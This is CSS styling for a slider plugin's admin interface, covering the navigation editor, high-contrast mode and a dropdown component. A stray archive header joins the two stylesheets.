.show_more_toggle .shmt_textless { position:absolute; right:20px; top:0px; background: #323438; padding:0px 10px; color:#b7bbc0; line-height: 12px; font-size: 12px; z-index:5; font-weight: 400; cursor: pointer;  }

.show_more_toggle.showlesson .shmt_textmore,
.show_more_toggle .shmt_textless { display: none; }
.show_more_toggle.showlesson .shmt_textless { display: block; }

.show_more_toggle .shmt_bar {background:#3f444a; position: absolute; top:6px; left:-20px; width:330px; height:1px; z-index:2;}
.show_more_toggle i.material-icons { font-size: 15px !important; margin-left: 5px; margin-top: 1px }


/****************************
  - NAVIGATION EDITOR - 
****************************/
#settings_sticky_info { display:none; width: 320px; height:50px; background:#202224; z-index: 500; position: absolute; top: 0px; left: 0px; padding:12px 15px; box-sizing: border-box;box-shadow: 0px 5px 10px 0px rgba(0,0,0,0.25);}


#settings_sticky_info.sticky_in_animation #settings_sticky_left.blue.purple { background: #5e35b1 !important; }


/****************************
  - NAVIGATION EDITOR - 
****************************/

#rbm_navigation_editor { width: 1200px; height: 800px; }
#rbm_navigation_editor .rbm_content { height: 750px; width: 100%; position: relative }
#rs_ne_left_wrap {  width: 260px; position: absolute;top: 0px; left: 0px; background: #323438; height: 100%;}
#rs_ne_right_wrap { width: 940px; height:100%; position: absolute; top: 0px; left: 260px; }
#rs_ne_preview_wrap { width: 940px; height: 220px; position: absolute; top: 0px; left: 0px; background:url(../images/light_pattern_2x.png); background-size:16px 16px; background-repeat:repeat; overflow: hidden;}
#rs_ne_ce_wrap { width: 690px; height: 530px; position: absolute;top: 220px; background: #212226 }
#rs_ne_helper_wrap { width: 250px; height: 530px; position: absolute;right: 0px;top: 220px; background:#333438;box-sizing: border-box; padding:30px 0px 30px 30px}
#rs_ne_navlist_wrap { width: 100%; height: 680px; position: absolute; overflow: hidden; }
#rs_ne_navlist { width: 100%; height: auto; position: relative }
.rs_ne_add_new_wrap {  width: 100%; padding: 20px; box-sizing: border-box }
#rs_ne_navlist_wrap .rs_ne_add_new_wrap { position: absolute; bottom: 0px; left: 0px; }
.rs_ne_header,
.rs_ne_navlist_header { font-size: 14px; font-weight: 900; color: #777c80; text-transform: uppercase; padding: 30px 20px 15px; line-height: 15px; border-bottom: 1px solid #3f444a; }
.rs_ne_header { padding-top: 0px; border: none; text-align: left; padding-bottom: 20px; padding-left: 0px; }

#rs_nav_css_js_area { position: absolute;top: 75px;left: 0px;width: 100%;height: 455px; padding: 20px;box-sizing: border-box; z-index: 1}

#rs_nav_css_js_area .RevMirror { height: 100%; background: transparent; }

#rs_nav_css_js_area .RevMirror.cm-s-hopscotch span.cm-error { background: transparent; color: #006dd2; }
#rs_nav_css_js_area .RevMirror.cm-s-hopscotch span.cm-tag { background: transparent; color: #b7bbc0; }


#rs_ne_horizontaltest { margin-left: 20px; }
#rs_ne_verticaltest { margin-left: 5px; }

#rs_ne_verticaltest.selected,
#rs_ne_horizontaltest.selected { background: #006dd2; color: #fff; }

#rs_ne_settings .bg_align_row { margin-bottom: 0px; }
#rs_ne_settings .bg_alignselector { width: 10px; height: 10px; }
#rs_ne_settings .bg_alignselector:nth-child(2) { left: 14px; }
#rs_ne_settings .bg_alignselector:nth-child(3) { left: 28px; }
#rs_ne_settings .bg_alignselector_wrap { margin-left: 15px; margin-top: -5px; }



/* ARROWS DEMO*/
#rs_ne_arrows { width: 100%; height: 100%; position: absolute; z-index: 2; }
#rs_ne_tp-rightarrow { right: 20px; top: 50%; transform: translateY(-50%); position: absolute }
#rs_ne_tp-leftarrow { left: 20px; top: 50%; transform: translateY(-50%); position: absolute }
#rs_ne_arrows .tp-arr-imgholder { background-position: center center; background-size: cover; background-repeat: no-repeat; background-image: url(../images/sources/gallery.png); }


/* BULLETS DEMO */
#rs_ne_bullets                    { position: absolute; }
#rs_ne_bullets.nav-pos-ver-top    { top: 30px;  bottom: auto;}
#rs_ne_bullets.nav-pos-ver-center { top: 50%;  bottom: auto; transform:translateY(-50%);}
#rs_ne_bullets.nav-pos-ver-bottom { bottom: 30px;  top: auto;}

#rs_ne_bullets.nav-pos-hor-left   { left: 30px;  right: auto;}
#rs_ne_bullets.nav-pos-hor-center { left: 50%;  right: auto; transform:translateX(-50%);}
#rs_ne_bullets.nav-pos-hor-right  { right: 30px;  left: auto;}




/* TABS DEMO */
#rs_ne_tabs                    { position: absolute; }
#rs_ne_tabs.nav-pos-ver-top    { top: 10px;  bottom: auto;}
#rs_ne_tabs.nav-pos-ver-center { top: 50%;  bottom: auto; transform:translateY(-50%);}
#rs_ne_tabs.nav-pos-ver-bottom { bottom: 10px;  top: auto;}

#rs_ne_tabs.nav-pos-hor-left   { left: 10px;  right: auto;}
#rs_ne_tabs.nav-pos-hor-center { left: 50%;  right: auto; transform:translateX(-50%);}
#rs_ne_tabs.nav-pos-hor-right  { right: 10px;  left: auto;}

#rs_ne_tabs.nav-pos-hor-center.nav-pos-ver-center { transform:translateY(-50%) translateX(-50%);}


/* THUMBS DEMO */
#rs_ne_thumbs                    { position: absolute; }
#rs_ne_thumbs.nav-pos-ver-top    { top: 10px;  bottom: auto;}
#rs_ne_thumbs.nav-pos-ver-center { top: 50%;  bottom: auto; transform:translateY(-50%);}
#rs_ne_thumbs.nav-pos-ver-bottom { bottom: 10px;  top: auto;}

#rs_ne_thumbs.nav-pos-hor-left   { left: 10px;  right: auto;}
#rs_ne_thumbs.nav-pos-hor-center { left: 50%;  right: auto; transform:translateX(-50%);}
#rs_ne_thumbs.nav-pos-hor-right  { right: 10px;  left: auto;}

#rs_ne_thumbs.nav-pos-hor-center.nav-pos-ver-center { transform:translateY(-50%) translateX(-50%);}


#rs_ne_bullets .tp-bullet-image { background-position: center center; background-size: cover; background-repeat: no-repeat; background-image: url(../images/sources/gallery.png); }
#rs_ne_tabs .tp-tab-image { background-position: center center; background-size: cover; background-repeat: no-repeat; background-image: url(../images/sources/gallery.png); }
#rs_ne_thumbs .tp-thumb-image { background-position: center center; background-size: cover; background-repeat: no-repeat; background-image: url(../images/sources/gallery.png); }

/* NAV MODE SELECTOR */
.rs_ne_selector { width: 50%; display: inline-block; background: #3a3e44; cursor: pointer; color: #b7bbc0; font-size: 13px; font-weight: 400; line-height: 40px; padding:0px 0px 0px 30px; box-sizing: border-box;}
.rs_ne_selector:first-child { border-right: 1px solid #333438; border-bottom: 1px solid #333438; }
.rs_ne_selector:nth-child(2) { border-bottom: 1px solid #333438; }
.rs_ne_selector:nth-child(3) { border-right: 1px solid #333438; }
.rs_ne_selector i.material-icons { font-size: 20px; margin-right:10px}
.rs_ne_selector.selected,
.rs_ne_selector:hover { color: #fff; }
.rs_ne_selector.selected { background: #006dd2; }

#rs_ne_settings { width: 100%; height: 30px; border-bottom: 1px solid #333438; padding:22px; line-height: 30px}

/* INPUT AND LABEL CHANGES */
#rb_tlw input[type="text"]#rs_ne_nav_classname { width: 120px;min-width: 120px; max-width: 120px; }
#rb_tlw input[type="text"]#rs_ne_nav_space,
#rb_tlw input[type="text"]#rs_ne_nav_width,
#rb_tlw input[type="text"]#rs_ne_nav_height     { width:60px !important;}
#rs_ne_cssmeta_config label_a { width: 60px !important; }

#rb_tlw #rs_ne_cssmeta_config .revbuilder-colorpicker.visible-cp-input,
#rb_tlw #rs_ne_cssmeta_config  input[type="text"] { width: 125px; }
#rb_tlw #rs_ne_cssmeta_config .revbuilder-colorpicker.visible-cp-input {margin-bottom:10px;}
#rb_tlw #rs_ne_cssmeta_config .revbuilder-colorpicker.visible-cp-input input { width: 97px;margin: -37px 0px 0px 20px; }

#rb_tlw .infactorymode  input[type="text"]#rs_ne_nav_width,
#rb_tlw .infactorymode  input[type="text"]#rs_ne_nav_height,
#rb_tlw .infactorymode  input[type="text"]#rs_ne_nav_classname { pointer-events: none; opacity: 0.5; }

#rs_ne_cssmeta_config .basic_action_button.onlyicon.autosize { width: 85px; }

#rs_ne_cssmeta_config .basic_action_button.onlyicon.autosize.disabled { opacity: 0.5; pointer-events: none; }

#rs_ne_def_meta_color_val_wrap,
#rs_ne_def_meta_color-rgba_val_wrap { display: none; }


.slide_anim_alternates { position: relative }
.remove_altslide.basic_action_button.leftbutton.onlyicon {
    float: none;
    position: absolute;
    left: -15px;
    background: none;
    display: none;
}

.slide_anim_alternates:hover  .remove_altslide.basic_action_button.leftbutton.onlyicon { display: block }





#rb_tlw #rs_ne_settings input[type="text"] { margin-bottom: 0px }


#rs_ne_markup_css_button_wrap { display: inline-block; position: absolute; right: 20px; top: 95px; background: #212226; z-index: 10; }
.rs_ne_markup_css_button { display: inline-block; cursor:pointer; border: 1px solid #333438; text-align: center; line-height: 28px; box-sizing: border-box; position: relative; width:100px; color:#b7bbc0; font-size:13px;}

.rsnmcb_left   { border-radius: 4px 0px 0px 4px; z-index: 1;}
.rsnmcb_right   { border-radius: 0px 4px 4px 0px; margin-left: -1px;z-index: 1}

.rs_ne_markup_css_button.selected { border-radius: 4px;  color:#fff; border-color:#3f444a; z-index: 2;}

#rs_ne_markup_css_button_wrap,
#rs_ne_settings,
#rs_ne_helper_wrap,
#rs_ne_css_meta,
#rs_ne_cssmeta_config { display: none; }

.rs_ne_meta_value_btn,
.rs_ne_markup_meta_btn        { color: #777c81; font-size: 14px; line-height: 30px; cursor: pointer; position: relative; }

.rs_ne_meta_value_btn:hover,
.rs_ne_markup_meta_btn:hover  {  color: #fff; }

#rs_ne_meta_values_inner { position: relative; }

/* TOOLBAR AND INPUT NAME */
.rs_ne_nav_skin { display: block; position: relative; line-height: 40px; border-bottom: 1px solid #3f444a; padding: 0px 20px; color:#b7bbc0; font-size: 14px; font-weight: 400; cursor: pointer; box-sizing: border-box;}

.rs_ne_nav_skin:hover,
.rs_ne_nav_skin.selected { background: #3a3e44; color: #fff; }

.rs_ne_nskin_message,
.rs_ne_nskin_title { display: block; width: 125px; position: relative; white-space: nowrap; overflow: hidden}
.rs_ne_nskin_message {display:none;}

#rb_tlw .rs_ne_nskin_title_input[type=text] { display: none; outline: none; box-shadow: none; border: none; width: 135px; line-height: 40px; height: 40px; margin: 0px; background: transparent;  padding: 0px; }

.rs_ne_nskin_tbar_yesno,
.rs_ne_nskin_tbar_basic { display:none;position: absolute; top:0px; right:0px; text-align: right; width: 110px;  }
#rs_ne_meta_values_inner .rs_ne_nskin_tbar_basic { right: 15px; }
.rs_ne_nskin_tbar_yesno i.material-icons,
.rs_ne_nskin_tbar_basic i.material-icons { margin-right:10px; font-size: 16px; color: #777c80; cursor: pointer;  }
.rs_ne_nskin_tbar_yesno i.material-icons:hover,
.rs_ne_nskin_tbar_basic i.material-icons:hover { color: #fff; }

.rs_ne_listelement:hover .rs_ne_nskin_tbar_basic { display: block; }

.rs_ne_listelement.rs_showmessage .rs_ne_nskin_message,
#rb_tlw .rs_ne_listelement.rs_changename .rs_ne_nskin_title_input[type=text],
.rs_ne_listelement.rs_showmessage .rs_ne_nskin_tbar_yesno,
.rs_ne_listelement.rs_changename .rs_ne_nskin_tbar_yesno { display: block !important; }


.rs_ne_listelement.rs_showmessage .rs_ne_nskin_title,
.rs_ne_listelement.rs_showmessage .rs_ne_nskin_tbar_basic,
.rs_ne_listelement.rs_changename .rs_ne_nskin_title,
.rs_ne_listelement.rs_changename .rs_ne_nskin_tbar_basic,
.rs_ne_listelement.rs_changename:hover .rs_ne_nskin_tbar_basic { display: none !important; }


.rs_ne_list_wrapper { position: relative; max-height: 250px; overflow: hidden; width: 100%; }

#rs_ne_factory_list,
#rs_ne_custom_list { position: relative }

/* NAVIGATION ICONS */
#rs_ne_icons { width: 140px; text-align: right; position: relative; display: block; margin-left:60px; margin-bottom:20px;}

.navpresetrow .font_icon_subcontainer i,
#rs_ne_icons .font_icon_subcontainer i {
    color: #b7bbc0;
    font-size: 17px;
    line-height: 26px !important;
    width: 26px;
    height: 26px;
    display: inline-block;
    text-align: center;
    cursor: pointer;
}

.navpresetrow .font_icon_subcontainer i:hover,
.navpresetrow .font_icon_subcontainer i.selected,
#rs_ne_icons .font_icon_subcontainer i:hover,
#rs_ne_icons .font_icon_subcontainer i.selected {
    background: #006dd2;
    color: #fff;
}


.navpresetrow .input_presets { width: 156px; }

#save_naveditor { display:none; width: 250px; height:50px; line-height:50px; color:#fff; font-size:15px; font-weight:500; position: absolute; bottom: 0px; right: 0px; text-align: center; z-index: 10000; background: #006dd2; cursor: pointer }
#save_naveditor:hover { background: #0a447a; }
#save_naveditor i { margin-right: 5px; line-height: 50px !important; font-size: 20px }

._lc_content_ rs-fcr    {width: 0;height: 0;border-left: 40px solid transparent;border-right: 0px solid transparent;border-top: 40px solid #00A8FF;position: absolute;right:100%;top:0px;}
._lc_content_ rs-fcrt   {width: 0;height: 0;border-left: 40px solid transparent;border-right: 0px solid transparent;border-bottom: 40px solid #00A8FF;position: absolute;right:100%;top:0px;}
._lc_content_ rs-bcr    {width: 0;height: 0;border-left: 0px solid transparent;border-right: 40px solid transparent;border-bottom: 40px solid #00A8FF;position: absolute;left:100%;top:0px;}
._lc_content_ rs-bcrt   {width: 0;height: 0;border-left: 0px solid transparent;border-right: 40px solid transparent;border-top: 40px solid #00A8FF;position: absolute;left:100%;top:0px;}

.tooltip_wrap {transform: rotateY(180deg)}

/****************************
  - MEDIA QUERY CHANGES - 
****************************/
@media only screen and (max-width : 1420px) {
  .help_wrap .toolbar_btn_txt,
  .quick_style_wrap .toolbar_btn_txt { display: none; }

  .help_wrap,
  .quick_style_wrap { padding: 0px; width:50px; text-align: center}

  .help_wrap.toolbar_btn>.material-icons,
  .quick_style_wrap.toolbar_btn>.material-icons { margin-right: 0px; }
}
@media only screen and (max-width : 1290px) {
  .toolbar_btn { padding: 0px; }
  .toolbar_btn_txt { display: none; }
  .toolbar_btn>.material-icons { margin-right: 0px; }
  .layertoolbar_wrap { position: relative; top: auto; left: auto; margin-left: 0px; }

  
  .help_wrap .toolbar_btn_txt,
  .quick_style_wrap .toolbar_btn_txt {  }
    
  .rso_scrollmenuitem { margin-right: 20px; }

  .toolbar_rightoriented .tool_dd_wrap { margin-left: -160px; }
  .toolbar_rightoriented #toolkit_selector_wrap .tool_dd_wrap { margin-left: -130px; }
  .toolbar_rightoriented #main_screenselector .tool_dd_wrap { margin-left: -189px; }
}

@media only screen and (max-width : 1365px) {
    #add_layer_toolbar_wrap { margin-right: 10px; }
}
@media only screen and (max-width : 1350px) {
  .cwt_link .pli_subtitle { font-size: 15px }
  .pli_left { min-width: 320px; max-width: 320px; padding-right: 30px; }
  #activation_area row { display: block }
  #activation_area row onehalf { display: block; width: 100%; padding: 0px !important;margin-bottom: 10px; }


}

@media only screen and (max-width : 1175px) {
  .features_wrapper,
  .featurebox { width: 100%; display: block;  }  
}

@media only screen and (max-width : 980px) {
  .pli_update_history ul { padding-left: 0px; }
  .pli_update_history ul li { padding-left: 20px; }
  .pli_update_history li:before { left: 4px; } 
}

@media only screen and (max-width : 1165px) {
  
  #do_title_layer, #do_title_layer_not_selected,
  #do_title_slide, #do_title_layer_not_selected,
  { font-size: 12px; width: 120px; }
  .toolbar_btn i.toptoolbaricon.material-icons,
  .toolbar_selector_icons .toptoolbaricon.material-icons {  font-size: 17px; }

  .help_wrap,
  .quick_style_wrap,
  #undo_redo_wrap,
  .toolbar_selector_icons .selected_placeholder { width: 40px; }

  .highlight_arrow  { left: 20px; }

  .layertoolbar_wrap { padding-left: 15px; }


}

@media only screen and (max-width : 1020px) {
    .rso_scrollmenuitem { margin-right: 20px;  font-size:14px;}

}

@media only screen and (max-width : 820px) {
  .pli_update_history { height: 300px }
  .rs_fh_right { float: left;  text-align: left;}
  .plugin_inforow { display: block; }
  .pli_left { display:block; min-width: none; border:none; width:100%;max-width: none; padding-right:0px;}
  .pli_right { display:block; min-width: none; padding-left:0px; margin-top:100px;width:100%;max-width: none;padding-left:0px;}
  #rs_overview .div75 { height: 100px; }
  #rs_overview .div150 { height: 100px; }
}



/* HIGH CONTRAST MODE */

.rs-high-contrast .slide_submodule_trigger, 
.rs-high-contrast .layer_submodule_trigger, 
.rs-high-contrast .general_submodule_trigger, 
.rs-high-contrast .nav_submodule_trigger,
.rs-high-contrast label_sub, 
.rs-high-contrast .label_sub, 
.rs-high-contrast label_short, 
.rs-high-contrast .label_short, 
.rs-high-contrast label_a_left, 
.rs-high-contrast .label_a_left, 
.rs-high-contrast label_a_right, 
.rs-high-contrast .label_a_right, 
.rs-high-contrast xy_label, 
.rs-high-contrast .xy_label, 
.rs-high-contrast label_full, 
.rs-high-contrast .label_full, 
.rs-high-contrast label_a, 
.rs-high-contrast .label_a,
.rs-high-contrast  #rb_tlw labelhalf .material-icons,
.rs-high-contrast .description, 
.rs-high-contrast label_info, 
.rs-high-contrast .label_info, 
.rs-high-contrast .function_info,
.rs-high-contrast .fake_onff_off, 
.rs-high-contrast .tponoff_off,
.rs-high-contrast .ale_i_environment, 
.rs-high-contrast #decmod_subtxt, 
.rs-high-contrast .ale_i_content,
.rs-high-contrast #revbuilder-cpicker,
.rs-high-contrast .main_mode_selector,
.rs-high-contrast #rs_overview .subtitle,
.rs-high-contrast .rso_scrollmenuitem,
.rs-high-contrast .action_button,
.rs-high-contrast .rsl_breadcrumb,
.rs-high-contrast grayiconbox,
.rs-high-contrast .pli_subtitle,
.rs-high-contrast .pli_update_history h3.version-number,
.rs-high-contrast darkiconbox,
.rs-high-contrast #general_frame_magnif_wrap .radiooption .shortcuttext,
.rs-high-contrast #quick_style_menu,
.rs-high-contrast .quick_style_dep,
.rs-high-contrast .ol_filter_listelement,
.rs-high-contrast #obj_fil_favorite, 
.rs-high-contrast #obj_updatefromserver, 
.rs-high-contrast #obj_addsliderasmodal,
.rs-high-contrast .rs_overview .ddTP_C .ddTP_S--single .ddTP_S__rendered,
.rs-high-contrast #rb_tlw .miniprevimage_wrap i.material-icons,
.rs-high-contrast #rs_copyright,    
.rs-high-contrast .page_button {
    color: #b7bbc0;
}



.rs-high-contrast .fake_onff_off:after, 
.rs-high-contrast .tponoff_off:after {
    background: #b7bbc0;
}
.rs-high-contrast .disablecontainer {
    opacity: 0.65;
}
 
.rs-high-contrast .revbuilder-cpicker-bright {
    color: #fff;
}
.rs-high-contrast #time_linear .rm_ms, 
.rs-high-contrast #time_linear .rm_sec, 
.rs-high-contrast #time_linear .rm_twosec {
    border-left: 1px solid #777c80;
    color: rgba(183,187,192,1);
}
.rs-high-contrast #ruler_left .rm_five, 
.rs-high-contrast #ruler_left .rm_ten, 
.rs-high-contrast #ruler_left .rm_hundred {
    border-top: 1px solid #777c80;
    color: rgba(183,187,192,1);
}

.rs-high-contrast #ruler_top .rm_five, 
.rs-high-contrast #ruler_top .rm_ten, 
.rs-high-contrast #ruler_top .rm_hundred {
    border-left: 1px solid #777c80;
    color: rgba(183,187,192,1);
}


.rs-high-contrast .multiple_layers_selected #do_background_layer, 
.rs-high-contrast .multiple_layers_selected #do_foreground_layer, 
.rs-high-contrast .no_layers_selected #do_background_layer, 
.rs-high-contrast .no_layers_selected #do_foreground_layer {
    opacity: 0.35;
}
 
.rs-high-contrast .basic_action_button.disabled,
.rs-high-contrast .basic_action_button.disabled i,
.rs-high-contrast .ts_wrapbrtn.notinuse, 
.rs-high-contrast .loop_wrapbrtn.notinuse {
    color: rgba(183,187,192,0.55);
}


.rs-high-contrast .rs_overview .ddTP_C .ddTP_S--single .ddTP_S__arrow b {
    border-color: #b7bbc0 transparent transparent transparent;
}


.rs-high-contrast .oc_gray {
    color: #b7bbc0;
    border: 1px solid #797b7e;
}
.rs-high-contrast i.olibrary_favorit.material-icons {
    color: rgba(255,255,255,0.35);
}

.rs-high-contrast .layer_submodule_trigger:hover, 
.rs-high-contrast .layer_submodule_trigger.selected, 
.rs-high-contrast .slide_submodule_trigger:hover, 
.rs-high-contrast .slide_submodule_trigger.selected, 
.rs-high-contrast .general_submodule_trigger:hover, 
.rs-high-contrast .general_submodule_trigger.selected, 
.rs-high-contrast .nav_submodule_trigger:hover, 
.rs-high-contrast .nav_submodule_trigger.selected,
.rs-high-contrast .ol_filter_listelement:hover, 
.rs-high-contrast .ol_filter_listelement.selected,
.rs-high-contrast #obj_fil_favorite:hover, 
.rs-high-contrast #obj_updatefromserver:hover, 
.rs-high-contrast #obj_fil_favorite.selected,
.rs-high-contrast i.olibrary_favorit.material-icons:hover, 
.rs-high-contrast i.olibrary_favorit.material-icons.selected,
.rs-high-contrast #rs_copyright:hover,
.rs-high-contrast .main_mode_selector:hover,
.rs-high-contrast .rso_scrollmenuitem.active, .rso_scrollmenuitem:hover,
.rs-high-contrast .action_button:hover {
    color: #fff;
}

.rs-high-contrast .page_button.selected, 
.rs-high-contrast .page_button:hover {
    background: #006dd2;
    color: #fff;
}

.rs-high-contrast .rsl_breadcrumb_div {
    color: #797b7e;
}


.rs-high-contrast #rs_overview .new_slider_block i.material-icons {
    color: #b7bbc0;
}
.rs-high-contrast .new_slider_block:hover {
    background: #006dd2;
    color: #fff;
}
.rs-high-contrast .box_with_icon:focus, 
.rs-high-contrast .box_with_icon {
    color: #b7bbc0;
}
.rs-high-contrast a.box_with_icon:hover {
    background: #006dd2;
    color: #fff;
}

.rs-high-contrast #rs_overview .new_slider_block:hover i.material-icons { color: #fff; }

.rs-high-contrast .rso_scrollmenuitem:hover i.material-icons { color: #fff; }

.rs-high-contrast .rso_scrollmenuitem.active i.material-icons,
.rs-high-contrast .rso_scrollmenuitem.active:hover i.material-icons { color: #006dd2; } 

PK�y3\KV4��N�Nassets/css/ddTP.cssnu�[���
.ddTP_hidden {border: 0 !important;clip: rect(0 0 0 0) !important;height: 1px !important;margin: -1px !important;overflow: hidden !important;padding: 0 !important;position: absolute !important;width: 1px !important;   }
.ddTP_C {box-sizing: border-box;display: inline-block;margin: 0;position: relative;vertical-align: middle; }

.ddTP_C .ddTP_S--single {box-sizing: border-box;cursor: pointer;display: block;height: 25px;user-select: none;-webkit-user-select: none; }
.ddTP_C .ddTP_S--single .ddTP_S__rendered {display: block;padding-left: 0px;padding-right: 0px;overflow: hidden;text-overflow: ellipsis;white-space: nowrap; }
.ddTP_C[dir="rtl"] .ddTP_S--single .ddTP_S__rendered {padding-right: 8px;padding-left: 20px;}
.ddTP_C .ddTP_S--multiple .ddTP_S__choice.isplaceholder {color: #b7bbc0;font-size: 13px;background: transparent;margin-top: 5px;}
.ddTP_C--open { z-index:  100010}

li.ddTP_RO { margin-bottom: 1px; }
.ddTP_C .ddTP_SCH--inline .ddTP_SCH__field { min-width: 25px }

.ddTP_C .ddTP_S--single .ddTP_S__clear {position: relative; }  
.ddTP_C .ddTP_S--multiple {box-sizing: border-box;cursor: pointer;display: block;min-height: 32px;user-select: none;-webkit-user-select: none; }
.ddTP_C .ddTP_S--multiple .ddTP_S__rendered {display: inline-block;overflow: hidden;padding-left: 8px;text-overflow: ellipsis;white-space: nowrap; }
.ddTP_C .ddTP_SCH--inline {float: left; }
.ddTP_C .ddTP_SCH--inline .ddTP_SCH__field {box-sizing: border-box;border: none;font-size: 100%;padding: 0; }
.ddTP_C .ddTP_SCH--inline .ddTP_SCH__field::-webkit-search-cancel-button {-webkit-appearance: none; }

.ddTP-dropdown {background-color: white;border: none;border-radius: 0px;box-sizing: border-box;display: block;position: absolute;left: -100000px;width: 100%;z-index: 1052;box-shadow: 0px 0px 10px 3px rgba(0,0,0,0.2);}

.ddTP_R {display: block; }

.ddTP_ROs {list-style: none;margin: 0;padding: 0; }

.ddTP_RO {padding: 6px;user-select: none;-webkit-user-select: none; }
.ddTP_RO[aria-selected] {cursor: pointer; margin-bottom: 1px;}

.ddTP_C--open .ddTP-dropdown {left: 0; }

.ddTP_C--open .ddTP-dropdown--above {border-bottom: none;border-bottom-left-radius: 0; border-bottom-right-radius: 0; }

.ddTP_C--open .ddTP-dropdown--below {border-top: none;border-top-left-radius: 0;border-top-right-radius: 0; }

.ddTP_SCH--dropdown {display: block;padding: 0px; }
.ddTP_SCH--dropdown .ddTP_SCH__field {padding: 4px;width: 100%;box-sizing: border-box; }

.ddTP_SCH--dropdown .ddTP_SCH__field::-webkit-search-cancel-button {-webkit-appearance: none; }
.ddTP_SCH--dropdown.ddTP_SCH--hide {display: none; }

.ddTP-close-mask {border: 0;margin: 0;padding: 0;display: block;position: fixed;left: 0;top: 0;min-height: 100%;min-width: 100%;height: auto;width: auto;opacity: 0;z-index: 99;background-color: #fff;filter: alpha(opacity=0); }

.ddTP-hidden-accessible {border: 0 !important;clip: rect(0 0 0 0) !important;height: 1px !important;margin: -1px !important;overflow: hidden !important;padding: 0 !important;position: absolute !important;width: 1px !important; }

.ddTP_C .ddTP_S--single {background-color: #fff;border: 1px solid #aaa;border-radius: 0px; }
.ddTP_C .ddTP_S--single .ddTP_S__rendered {color: #444;line-height:25px; }
.ddTP_C .ddTP_S--single .ddTP_S__clear {cursor: pointer;float: right;font-weight: bold; }
.ddTP_C .ddTP_S--single .ddTP_S__placeholder {color: #999; }
.ddTP_C .ddTP_S--single .ddTP_S__arrow {height: 25px;position: absolute;top: 1px;right: 1px;width: 20px; }
.ddTP_C .ddTP_S--single .ddTP_S__arrow b {border-color: #888 transparent transparent transparent;border-style: solid;border-width: 5px 4px 0 4px;height: 0;left: 50%;margin-left: -4px;margin-top: -2px;position: absolute;top: 50%;width: 0; }
.ddTP_C[dir="rtl"] .ddTP_S--single .ddTP_S__clear {float: left; }
.ddTP_C[dir="rtl"] .ddTP_S--single .ddTP_S__arrow {left: 1px;right: auto; }

.ddTP_C.ddTP_C--disabled .ddTP_S--single {background-color: #eee;cursor: default; }
.ddTP_C.ddTP_C--disabled .ddTP_S--single .ddTP_S__clear {display: none; }

.ddTP_C.ddTP_C--open .ddTP_S--single .ddTP_S__arrow b {border-color: transparent transparent #888 transparent;border-width: 0 4px 5px 4px; }

.ddTP_C .ddTP_S--multiple {background-color: white;border: 1px solid #aaa;border-radius: 0px;cursor: text; }
.ddTP_C .ddTP_S--multiple .ddTP_S__rendered {box-sizing: border-box;list-style: none;margin: 0;padding: 0 5px;width: 100%; }
.ddTP_C .ddTP_S--multiple .ddTP_S__rendered li {list-style: none; }
.ddTP_C .ddTP_S--multiple .ddTP_S__placeholder {color: #999;margin-top: 5px;float: left; }
.ddTP_C .ddTP_S--multiple .ddTP_S__clear {cursor: pointer;float: right;font-weight: bold;margin-top: 5px;margin-right: 10px; }
.ddTP_C .ddTP_S--multiple .ddTP_S__choice {background-color: #e4e4e4;border: 1px solid #aaa;border-radius: 0px;cursor: default;float: left;margin-right: 5px;margin-top: 5px;padding: 0 5px; }
.ddTP_C .ddTP_S--multiple .ddTP_S__choice__remove {color: #999;cursor: pointer;display: inline-block;font-weight: bold;margin-right: 2px; }
.ddTP_C .ddTP_S--multiple .ddTP_S__choice__remove:hover {color: #333; }

.ddTP_C[dir="rtl"] .ddTP_S--multiple .ddTP_S__choice, .ddTP_C[dir="rtl"] .ddTP_S--multiple .ddTP_S__placeholder, .ddTP_C[dir="rtl"] .ddTP_S--multiple .ddTP_SCH--inline {float: right; }
.ddTP_C[dir="rtl"] .ddTP_S--multiple .ddTP_S__choice {margin-left: 5px;margin-right: auto; }
.ddTP_C[dir="rtl"] .ddTP_S--multiple .ddTP_S__choice__remove {margin-left: 2px;margin-right: auto; }

.ddTP_C.ddTP_C--focus .ddTP_S--multiple {border: solid black 1px;outline: 0; }
.ddTP_C.ddTP_C--disabled .ddTP_S--multiple {background-color: #eee;cursor: default; }
.ddTP_C.ddTP_C--disabled .ddTP_S__choice__remove {display: none; }
.ddTP_C.ddTP_C--open.ddTP_C--above .ddTP_S--single, .ddTP_C.ddTP_C--open.ddTP_C--above .ddTP_S--multiple {border-top-left-radius: 0;border-top-right-radius: 0; }
.ddTP_C.ddTP_C--open.ddTP_C--below .ddTP_S--single, .ddTP_C.ddTP_C--open.ddTP_C--below .ddTP_S--multiple {border-bottom-left-radius: 0;border-bottom-right-radius: 0; }
.ddTP_C .ddTP_SCH--dropdown .ddTP_SCH__field {border: 1px solid #aaa; }
.ddTP_C .ddTP_SCH--inline .ddTP_SCH__field {background: transparent;border: none;outline: 0;box-shadow: none;-webkit-appearance: textfield; }
.ddTP_C .ddTP_R > .ddTP_ROs {max-height: 200px;overflow-y: auto; }
.ddTP_C .ddTP_RO[role=group] {padding: 0; }
.ddTP_C .ddTP_RO[aria-disabled=true] {color: #b7bbc0; }
.ddTP_C .ddTP_RO[aria-selected=true] {background-color: #ddd; }

.ddTP_RO .ddTP_RO {padding-left: 1em; }
.ddTP_RO .ddTP_RO .ddTP_R__group {padding-left: 0; }
.ddTP_RO .ddTP_RO .ddTP_RO {margin-left: -1em;padding-left: 2em; }
.ddTP_RO .ddTP_RO .ddTP_RO .ddTP_RO {margin-left: -2em;padding-left: 3em; }
.ddTP_RO .ddTP_RO .ddTP_RO .ddTP_RO .ddTP_RO {margin-left: -3em;padding-left: 4em; }
.ddTP_RO .ddTP_RO .ddTP_RO .ddTP_RO .ddTP_RO .ddTP_RO {margin-left: -4em;padding-left: 5em; }
.ddTP_RO .ddTP_RO .ddTP_RO .ddTP_RO .ddTP_RO .ddTP_RO .ddTP_RO {margin-left: -5em;padding-left: 6em; }
.ddTP_RO--highlighted[aria-selected] {background-color: #5897fb;color: white; }
.ddTP_R__group {cursor: default;display: block;padding: 6px; }

/* FROM BASICS.CSS */
.rs_overview .ddTP_C, #rb_tlw #addon_overviewheader .ddTP_C { vertical-align: top;  margin-right: 40px; box-sizing: content-box; padding-right: 25px; height:50px; font-weight: 500}
.rs_overview .ddTP_C.ddTP_C--nomargin, #rb_tlw #addon_overviewheader .ddTP_C.ddTP_C--nomargin { margin-right: 0px; }
.rs_overview .ddTP_C .ddTP_S--single .ddTP_S__arrow, #rb_tlw #addon_overviewheader .ddTP_C .ddTP_S--single .ddTP_S__arrow { height: 50px; }
